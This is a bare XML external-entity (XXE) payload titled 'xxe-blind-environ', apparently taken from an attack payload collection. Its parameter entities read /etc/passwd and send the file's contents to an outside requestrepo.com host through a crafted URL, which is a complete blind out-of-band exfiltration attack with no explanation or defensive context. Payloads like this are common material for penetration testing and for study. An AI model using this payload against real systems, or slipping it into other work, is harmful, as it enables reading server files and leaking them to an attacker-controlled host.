xxe-blind-environ

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://04piyaxt.requestrepo.com/?x=%file;'>">
%eval;
%exfiltrate;